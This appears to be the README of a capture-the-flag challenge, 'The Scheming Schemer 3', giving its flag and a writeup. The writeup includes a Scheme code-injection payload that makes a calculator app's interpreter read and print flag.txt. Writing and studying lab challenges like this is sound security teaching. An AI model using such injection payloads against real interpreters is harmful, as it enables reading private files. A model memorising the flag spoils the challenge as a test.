33 lines
699 B
Markdown
33 lines
699 B
Markdown
|
== Title ==
|
||
|
|
||
|
The Scheming Schemer 3
|
||
|
|
||
|
== Description ==
|
||
|
|
||
|
Just like the previous 2:
|
||
|
<TODO>
|
||
|
|
||
|
== Flag ==
|
||
|
|
||
|
IGCTF{GoodJob!YouFoundThemAll!}
|
||
|
|
||
|
== Files ==
|
||
|
Participants should receive the calculator-app.rkt file.
|
||
|
|
||
|
== Deployment ==
|
||
|
Something something telnet/netcat
|
||
|
|
||
|
== Solution/Writeup ==
|
||
|
The code now allows an arbitrary expression in the first position, so we can create a lambda that will be executed by the interpreter.
|
||
|
|
||
|
Example input to print the solution:
|
||
|
((lambda ()
|
||
|
(call-with-input-file
|
||
|
"flag.txt"
|
||
|
(lambda (input-port)
|
||
|
(let loop ((x (read-char input-port)))
|
||
|
(if (not (eof-object? x))
|
||
|
(begin
|
||
|
(display x)
|
||
|
(loop (read-char input-port)))))))))
|